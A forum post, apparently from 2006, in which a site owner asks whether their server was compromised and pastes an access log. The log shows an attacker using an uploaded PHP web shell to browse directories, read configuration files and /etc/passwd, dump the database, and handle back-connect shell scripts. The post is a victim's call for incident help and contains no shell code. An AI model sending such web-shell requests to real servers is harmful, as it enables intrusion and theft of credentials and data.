Results 1 to 7 of 7
  1. #1
    Join Date
    Aug 2005
    Location
    England
    Posts
    87

    * Has my server been compromised?

    I found out just now that one of my sites had a relatively unsuccessful hack attempt by some Ukrainian and Romanian "hackers", but I can't work out from the logs exactly what files they were trying to get hold of, and whether they managed to get whatever data they were after, so I was just wondering if anyone could inform me of what exactly they did... whatever it was it took them 3 hours to do...

    I've replaced the actual domain name with 'mydomainname', but here's the otherwise exact output from "grep nfm.php /usr/local/apache/domlogs/mydomainname.co.uk"

    Code:
    62.150.35.230 - - [12/Dec/2006:12:46:37 +0000] "GET /downloads/uploads/nfm.php HTTP/1.1" 200 32640 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:12:46:42 +0000] "GET /downloads/uploads/nfm.php?tm=/home/ HTTP/1.1" 200 13285 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:12:46:50 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/ HTTP/1.1" 200 13354 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:12:46:56 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/ HTTP/1.1" 200 55261 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:12:47:25 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums HTTP/1.1" 200 61956 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:12:49:19 +0000] "POST /downloads/uploads/nfm.php?tm=&action=upload HTTP/1.1" 200 64686 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:12:49:38 +0000] "POST /downloads/uploads/nfm.php?tm=&action=upload HTTP/1.1" 200 67156 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=&action=upload" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:12:50:27 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums&fi=index.htm&action=copyfile HTTP/1.1" 200 10340 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=&action=upload" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:12:50:42 +0000] "POST /downloads/uploads/nfm.php?tm=&action=upload HTTP/1.1" 200 67156 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=&action=upload" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:12:51:03 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums&fi=1.c&action=view HTTP/1.1" 200 20459 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=&action=upload" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:12:51:10 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums/admin HTTP/1.1" 200 17542 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=&action=upload" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:12:51:30 +0000] "POST /downloads/uploads/nfm.php?tm=&action=upload HTTP/1.1" 200 67156 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=&action=upload" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:12:51:38 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums&fi=1.c&action=download HTTP/1.1" 200 17873 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=&action=upload" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:12:51:48 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums&fi=1.c&action=delete HTTP/1.1" 200 64730 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=&action=upload" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:12:51:54 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums&fi=AG.pl&action=edit HTTP/1.1" 200 14087 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums&fi=1.c&action=delete" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:12:52:07 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums&fi=AG.pl&action=download HTTP/1.1" 200 2086 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums&fi=1.c&action=delete" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:12:52:29 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums&fi=AG.pl&action=delete HTTP/1.1" 200 62287 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums&fi=1.c&action=delete" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:12:54:55 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums&fi=AG.pl&action=delete HTTP/1.1" 200 62287 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums&fi=1.c&action=delete" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:12:55:16 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums&fi=conf_global.php&action=view HTTP/1.1" 200 2838 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums&fi=AG.pl&action=delete" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:12:56:11 +0000] "GET /downloads/uploads/nfm.php?action=sql HTTP/1.1" 200 11343 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums&fi=AG.pl&action=delete" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:12:56:42 +0000] "POST /downloads/uploads/nfm.php?action=sql HTTP/1.1" 200 35642 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?action=sql" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:12:57:58 +0000] "GET /downloads/uploads/nfm.php?action=sql HTTP/1.1" 200 11343 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:12:59:05 +0000] "GET /downloads/uploads/nfm.php?action=bash HTTP/1.1" 200 10756 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?action=sql" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:00:28 +0000] "GET /downloads/uploads/nfm.php HTTP/1.1" 200 32640 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?action=bash" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:00:43 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/uploads&fi=.c99.php&action=delete HTTP/1.1" 200 30409 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:00:47 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/uploads&fi=123.php&action=delete HTTP/1.1" 200 27887 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/uploads&fi=.c99.php&action=delete" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:00:54 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/uploads&fi=c99sh_backconn.853.pl&action=edit HTTP/1.1" 200 11991 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/uploads&fi=123.php&action=delete" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:01:05 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/uploads&fi=c99sh_backconn.853.pl&action=delete HTTP/1.1" 200 23159 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/uploads&fi=123.php&action=delete" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:01:13 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/uploads&fi=dc.pl&action=view HTTP/1.1" 200 3128 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/uploads&fi=c99sh_backconn.853.pl&action=delete" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:01:37 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/uploads&fi=dc.pl&action=download HTTP/1.1" 200 769 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/uploads&fi=c99sh_backconn.853.pl&action=delete" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:01:43 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/uploads&fi=dc.pl&action=delete HTTP/1.1" 200 20656 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/uploads&fi=c99sh_backconn.853.pl&action=delete" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:01:47 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/uploads&fi=cxMdcFSr&action=edit HTTP/1.1" 200 11965 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/uploads&fi=dc.pl&action=delete" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:01:53 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/uploads&fi=cxMdcFSr&action=delete HTTP/1.1" 200 19455 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/uploads&fi=dc.pl&action=delete" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:01:57 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/uploads&fi=cxMdcFSr&action=delete HTTP/1.1" 200 19455 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/uploads&fi=dc.pl&action=delete" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:02:03 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/ HTTP/1.1" 200 23653 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/uploads&fi=cxMdcFSr&action=delete" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:02:10 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads//files HTTP/1.1" 200 14899 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:02:15 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads//files/videos HTTP/1.1" 200 27368 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads//files" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:02:24 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads//includes HTTP/1.1" 200 38258 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:02:32 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads//includes/db HTTP/1.1" 200 19529 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads//includes" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:02:39 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads//includes/admin HTTP/1.1" 200 43343 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads//includes" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:03:42 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads//includes/admin&fi=settings.php&action=view HTTP/1.1" 200 4615 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads//includes/admin" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:03:58 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads//includes/admin HTTP/1.1" 200 43343 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads//includes" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:04:18 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads//includes HTTP/1.1" 200 38258 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:04:25 +0000] "GET /downloads/uploads/nfm.php?cm=whois HTTP/1.1" 200 13518 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads//includes" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:05:06 +0000] "GET /downloads/uploads/nfm.php?cm=whois+uxx HTTP/1.1" 200 15047 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?cm=whois" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:05:27 +0000] "GET /downloads/uploads/nfm.php?tm=/etc&fi=passwd&action=view HTTP/1.1" 200 8934 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?action=bash" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:06:27 +0000] "GET /downloads/uploads/nfm.php?action=del HTTP/1.1" 200 10122 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?cm=whois+uxx" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:07:14 +0000] "GET /downloads/uploads/nfm.php?action=bash HTTP/1.1" 200 10756 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?action=sql" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:10:35 +0000] "GET /downloads/uploads/nfm.php HTTP/1.1" 200 19172 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:10:57 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/ HTTP/1.1" 200 13354 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:11:04 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/ HTTP/1.1" 200 55261 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:11:17 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums HTTP/1.1" 200 62007 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:11:48 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums/admin HTTP/1.1" 200 17542 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:11:55 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums&fi=conf_global.php&action=view HTTP/1.1" 200 2838 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:12:17 +0000] "GET /downloads/uploads/nfm.php?action=sql HTTP/1.1" 200 11343 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:12:57 +0000] "POST /downloads/uploads/nfm.php?action=sql HTTP/1.1" 200 35642 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?action=sql" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:13:18 +0000] "POST /downloads/uploads/nfm.php?action=sql HTTP/1.1" 200 13895 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?action=sql" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:13:50 +0000] "GET /downloads/uploads/nfm.php HTTP/1.1" 200 21837 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?action=sql" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:13:56 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/uploads&fi=dump_mydomainname_uk_data.sql.gz&action=delete HTTP/1.1" 200 19475 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:14:24 +0000] "GET /downloads/uploads/dump_mydomainname_uk_data.sql.gz HTTP/1.1" 200 1990712 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?action=sql" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:14:25 +0000] "GET /downloads/uploads/nfm.php HTTP/1.1" 200 19172 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/uploads&fi=dump_mydomainname_uk_data.sql.gz&action=delete" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:14:27 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/ HTTP/1.1" 200 55261 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/uploads&fi=dump_mydomainname_uk_data.sql.gz&action=delete" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:15:36 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums HTTP/1.1" 200 62007 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:15:44 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums&fi=back.pl&action=view HTTP/1.1" 200 3123 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:17:39 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums HTTP/1.1" 200 62007 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:17:45 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums&fi=back.pl&action=download HTTP/1.1" 200 882 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:17:55 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums&fi=back.pl&action=delete HTTP/1.1" 200 59848 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:18:01 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums&fi=black.php&action=view HTTP/1.1" 200 48477 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums&fi=back.pl&action=delete" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.35.230 - - [12/Dec/2006:13:18:40 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums&fi=black.php&action=download HTTP/1.1" 200 40545 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums&fi=back.pl&action=delete" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
